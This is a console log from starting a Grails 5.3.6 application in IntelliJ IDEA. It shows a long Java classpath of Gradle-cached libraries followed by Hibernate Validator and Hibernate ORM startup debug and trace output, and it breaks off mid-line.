-XX:TieredStopAtLevel=1 -XX:CICompilerCount=3 -Dfile.encoding=UTF-8 -classpath /home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-shell/5.3.6/1884cf57d58b276d0eaf80d0c32d6f9684c6dcc2/grails-shell-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-cli/2.7.9/77896f5894b385d7b7715c5ff7770265ed56b46f/spring-boot-cli-2.7.9.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-resolver-provider/3.8.3/43e0622c74fa0eb1e451efb1d7a0f7b7e7625f31/maven-resolver-provider-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-connector-basic/1.9.16/4f465c03600acabbcef4e2b591f52e5c11710c22/maven-resolver-connector-basic-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-impl/1.9.5/59a76bfe8b2da737828b7b553a50ca9d5e4a5633/maven-resolver-impl-1.9.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-transport-file/1.9.5/8b8b7f506558b080b8213dea039505f4379c5bbf/maven-resolver-transport-file-1.9.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-transport-http/1.9.14/1eb4acdce7f21526bd06654b3d7b1edf80370ce8/maven-resolver-transport-http-1.9.14.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.httpcomponents/httpclient/4.5.14/1194890e6f56ec29177673f2f12d0b8e627dec98/httpclient-4.5.14.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-codec/commons-codec/1.15/49d94806b6e3dc933dacbd8acb0fdbab8ebd1e5d/commons-codec-1.15.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-bootstrap/5.3.6/90eeea5f0e82ad58bd0f124ce1454679b0496002/grails-bootstrap-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-gradle-model/5.3.6/c02cf46250333d6d8323cfa1d438b7058db77a10/grails-gradle-model-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-ant/3.0.11/72e9781d96b81ba699e264c88f60a232c5c800e1/groovy-ant-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-json/3.0.11/4ebecf885428c95ab3a649c8226ece553fc6f264/groovy-json-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-jmx/3.0.11/bdd9eb48a83b5e8904a334fbd921679a8840a780/groovy-jmx-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-templates/3.0.11/c130de7a9cac4d0788e320acd2b99d084e78e003/groovy-templates-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-xml/3.0.11/65a18a9c3c88d90616139754c1aac054df6329c2/groovy-xml-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy/3.0.11/b1759d82dcf4f57299c8555a76330532d2d77b47/groovy-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/jcl-over-slf4j/1.7.36/d877e195a05aca4a2f1ad2ff14bfec1393af4b5e/jcl-over-slf4j-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.gradle/gradle-tooling-api/6.9/2ecc9546561a4b1bb38f441f9bac1d4bff13f5ff/gradle-tooling-api-6.9.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-named-locks/1.9.5/b2e36d69cdb3744a3c21eeb540a49d37e3d35847/maven-resolver-named-locks-1.9.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-inject/3.8.5/2e0312aabc8594a6363f59057e6de992b932eb02/micronaut-inject-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-core/3.8.5/77936e19b984225689e4e231e73abf329ad4648/micronaut-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/slf4j-api/1.7.36/6c62681a2f655b49963a5983b8b0950a6120ae14/slf4j-api-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-junit/1.10.12/81bde3486c2ed79cb6f699c2a5a77b0340d1f2e8/ant-junit-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant/1.10.13/85fd5990a27ddafe8af3f7a6d7132d2c29a22a7c/ant-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.fusesource.jansi/jansi/1.18/d9205bbcd4b5f9cd1effe752d18f73bd942d783f/jansi-1.18.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jline/jline/2.14.6/c3aeac59c022bdc497c8c48ed86fa50450e4896a/jline-2.14.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-component-api/1.0-alpha-33/7d9560effcadf867937ac6885d0d1045ea98ab59/plexus-component-api-1.0-alpha-33.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-model-builder/3.8.3/7e997c68595707444c6cee187187c28dcfaf495b/maven-model-builder-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-model/3.8.3/f99d58de0bbf384acbf86da52856f341c22ff58b/maven-model-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-repository-metadata/3.8.3/7afe248217d380317431d07e3d8f546905e3157d/maven-repository-metadata-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-spi/1.9.16/12222dca88a4812560ae2fa59e8bd47871ff096a/maven-resolver-spi-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-util/1.9.16/fb6cb68c4593de6af6f96fa4f5dba3e6d30b8ec3/maven-resolver-util-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-api/1.9.16/a3a0bc37ba32ded01484b7dc20aea36fc3ff3a77/maven-resolver-api-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-settings-builder/3.6.3/756d46810b8cc7b2b98585ccc787854cdfde7fd9/maven-settings-builder-3.6.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.sonatype.plexus/plexus-sec-dispatcher/1.4/43fde524e9b94c883727a9fddb8669181b890ea7/plexus-sec-dispatcher-1.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.sonatype.sisu/sisu-inject-plexus/2.6.0/7842bcac78208d1f9b60dcdd690eea573ce0f6c3/sisu-inject-plexus-2.6.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-artifact/3.8.3/d275764a41dcfdfd3def259d1eed2bd6f02464b2/maven-artifact-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-settings/3.6.3/bbf4e06dcdb0bb33d1546c080df5c8d92b535d30/maven-settings-3.6.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.eclipse.sisu/org.eclipse.sisu.plexus/0.3.0/3f53953a998d03b9b0f7d5098f63119e434af0ef/org.eclipse.sisu.plexus-0.3.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-utils/3.3.0/cf43b5391de623b36fe066a21127baef82c64022/plexus-utils-3.3.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.commons/commons-lang3/3.12.0/c6842c86792ff03b9f1d1fe2aab8dc23aa6c6f0e/commons-lang3-3.12.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.httpcomponents/httpcore/4.4.16/51cf043c87253c9f58b539c9f7e44c8894223850/httpcore-4.4.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.yaml/snakeyaml/1.30/8fde7fe2586328ac3c68db92045e1c8759125000/snakeyaml-1.30.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-launcher/1.10.13/331234763210702757a5780437844c6aef5d2bdf/ant-launcher-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-antlr/1.10.12/74b17ef7229f3d7c0d55d42486889cc553ab04d6/ant-antlr-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-groovydoc/3.0.11/8faadefbe0df0430ef99c5b55b19d524bcf16862/groovy-groovydoc-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-loader-tools/2.7.10/db8ce15a8bb1c9a998fe4841e086dacc8bcc7fbf/spring-boot-loader-tools-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.vaadin.external.google/android-json/0.0.20131108.vaadin1/fa26d351fe62a6a17f5cda1287c1c6110dec413f/android-json-0.0.20131108.vaadin1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/net.sf.jopt-simple/jopt-simple/5.0.4/4fdac2fbe92dfad86aa6e9301736f6b4342a3f5c/jopt-simple-5.0.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-core/5.3.25/85382e86321227506bf7f97ed80e2ab88bce25f0/spring-core-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.security/spring-security-crypto/5.7.7/ed4ba8723f0c4c7abf420eae7714aa5391410be8/spring-security-crypto-5.7.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-classworlds/2.5.2/4abb111bfdace5b8167db4c0ef74644f3f88f142/plexus-classworlds-2.5.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/junit/junit/4.13.2/8ac9e16d933b6fb43bc7f576336b8f4d7eb5ba12/junit-4.13.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-interpolation/1.26/25b919c664b79795ccde0ede5cee0fd68b544197/plexus-interpolation-1.26.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-builder-support/3.8.3/cfa5b47b864fa65fb0d16fece91c85efc0c95796/maven-builder-support-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.eclipse.sisu/org.eclipse.sisu.inject/0.3.5/d4265dd4f0f1d7a06d80df5a5f475d5ff9c17140/org.eclipse.sisu.inject-0.3.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.3.2/934c04d3cfef185a8008e7bf34331b79730a9d43/javax.annotation-api-1.3.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.inject/jakarta.inject-api/2.0.1/4c28afe1991a941d7702fe1362c365f0a8641d1e/jakarta.inject-api-2.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.annotation/jakarta.annotation-api/2.0.0/f3cd84cc45f583a0fdc42a8156d6c5b98d625c1a/jakarta.annotation-api-2.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.commons/commons-compress/1.21/4ec95b60d4e86b5c95a0e919cb172a0af98011ef/commons-compress-1.21.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.sonatype.plexus/plexus-cipher/1.4/50ade46f23bb38cd984b4ec560c46223432aac38/plexus-cipher-1.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-component-annotations/1.5.5/c72f2660d0cbed24246ddb55d7fdc4f7374d2078/plexus-component-annotations-1.5.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-jcl/5.3.26/2005accc2cf5212c614df3760b3a434e7dce807c/spring-jcl-5.3.26.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/2.2/3f2bd07716a31c395e2837254f37f21f0f0ab24b/hamcrest-core-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest/2.2/1820c0968dba3a11a1b30669bb1f01978a91dedc/hamcrest-2.2.jar:/home/jameschang/.local/share/JetBrains/IntelliJIdea2023.3/groovy-grails/lib/groovy-grails-rt.jar org.grails.cli.GrailsCli run-app --plain-output SLF4J: Failed to load class \"org.slf4j.impl.StaticLoggerBinder\". SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. |Running application... OpenJDK 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release. 2024-04-16 15:26:42.445 INFO --- [kground-preinit] o.h.validator.internal.util.Version : HV000001: Hibernate Validator 6.2.5.Final 2024-04-16 15:26:42.449 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ValidationXmlParser : Trying to load META-INF/validation.xml for XML based Validator configuration. 2024-04-16 15:26:42.450 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via TCCL 2024-04-16 15:26:42.450 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via Hibernate Validator's class loader 2024-04-16 15:26:42.451 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ValidationXmlParser : No META-INF/validation.xml found. Using annotation based configuration only. 2024-04-16 15:26:42.453 DEBUG --- [kground-preinit] o.h.v.i.e.resolver.TraversableResolvers : Found javax.persistence.Persistence on classpath containing 'getPersistenceUtil'. Assuming JPA 2 environment. Trying to instantiate JPA aware TraversableResolver 2024-04-16 15:26:42.454 DEBUG --- [kground-preinit] o.h.v.i.e.resolver.TraversableResolvers : Instantiated JPA aware TraversableResolver of type org.hibernate.validator.internal.engine.resolver.JPATraversableResolver. 2024-04-16 15:26:42.470 DEBUG --- [kground-preinit] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:42.525 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.resolver.JPATraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:42.530 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.319 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cfg.beanvalidation.BeanValidationIntegrator]. 2024-04-16 15:26:44.320 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.secure.spi.JaccIntegrator]. 2024-04-16 15:26:44.320 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cache.internal.CollectionCacheInvalidator]. 2024-04-16 15:26:44.323 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jdbc] -\u003e [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.323 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jta] -\u003e [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JDBCTransactionFactory] -\u003e [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JTATransactionFactory] -\u003e [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.CMTTransactionFactory] -\u003e [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [persistent] -\u003e [org.hibernate.hql.spi.id.persistent.PersistentTableBulkIdStrategy] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [global_temporary] -\u003e [org.hibernate.hql.spi.id.global.GlobalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [local_temporary] -\u003e [org.hibernate.hql.spi.id.local.LocalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [default] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [jpa] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-jpa] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyJpaImpl] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-hbm] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [component-path] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyComponentPathImpl] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [default] -\u003e [org.hibernate.cache.internal.DefaultCacheKeysFactory] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [simple] -\u003e [org.hibernate.cache.internal.SimpleCacheKeysFactory] 2024-04-16 15:26:44.329 INFO --- [ restartedMain] org.hibernate.Version : HHH000412: Hibernate ORM core version 5.6.11.Final 2024-04-16 15:26:44.330 DEBUG --- [ restartedMain] org.hibernate.cfg.Environment : HHH000206: hibernate.properties not found 2024-04-16 15:26:44.383 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.385 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.402 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cfg.beanvalidation.BeanValidationIntegrator]. 2024-04-16 15:26:44.402 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.secure.spi.JaccIntegrator]. 2024-04-16 15:26:44.403 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cache.internal.CollectionCacheInvalidator]. 2024-04-16 15:26:44.403 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.grails.orm.hibernate.EventListenerIntegrator]. 2024-04-16 15:26:44.403 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.grails.orm.hibernate.MetadataIntegrator]. 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jdbc] -\u003e [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jta] -\u003e [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JDBCTransactionFactory] -\u003e [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JTATransactionFactory] -\u003e [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.CMTTransactionFactory] -\u003e [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [persistent] -\u003e [org.hibernate.hql.spi.id.persistent.PersistentTableBulkIdStrategy] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [global_temporary] -\u003e [org.hibernate.hql.spi.id.global.GlobalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [local_temporary] -\u003e [org.hibernate.hql.spi.id.local.LocalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [default] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [jpa] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-jpa] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyJpaImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-hbm] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [component-path] -\u003e [org.hibernate.boot.model.naming.ImplicitNamingStrategyComponentPathImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [default] -\u003e [org.hibernate.cache.internal.DefaultCacheKeysFactory] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [simple] -\u003e [org.hibernate.cache.internal.SimpleCacheKeysFactory] 2024-04-16 15:26:44.405 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.property.access.spi.PropertyAccessStrategy] : [traitProperty] -\u003e [org.grails.orm.hibernate.access.TraitPropertyAccessStrategy] 2024-04-16 15:26:44.408 DEBUG --- [ restartedMain] o.hibernate.service.spi.ServiceBinding : Overriding existing service binding [org.hibernate.secure.spi.JaccService] 2024-04-16 15:26:44.408 DEBUG --- [ restartedMain] org.hibernate.cfg.Configuration : Building session factory using provided StandardServiceRegistry 2024-04-16 15:26:44.410 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.config.spi.ConfigurationService] 2024-04-16 15:26:44.412 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.cache.spi.RegionFactory] 2024-04-16 15:26:44.412 DEBUG --- [ restartedMain] o.h.c.internal.RegionFactoryInitiator : Cache region factory : org.hibernate.cache.internal.NoCachingRegionFactory 2024-04-16 15:26:44.415 INFO --- [ restartedMain] o.hibernate.annotations.common.Version : HCANN000001: Hibernate Commons Annotations {5.1.2.Final} 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration boolean -\u003e org.hibernate.type.BooleanType@1df3f15a 2024-04-16 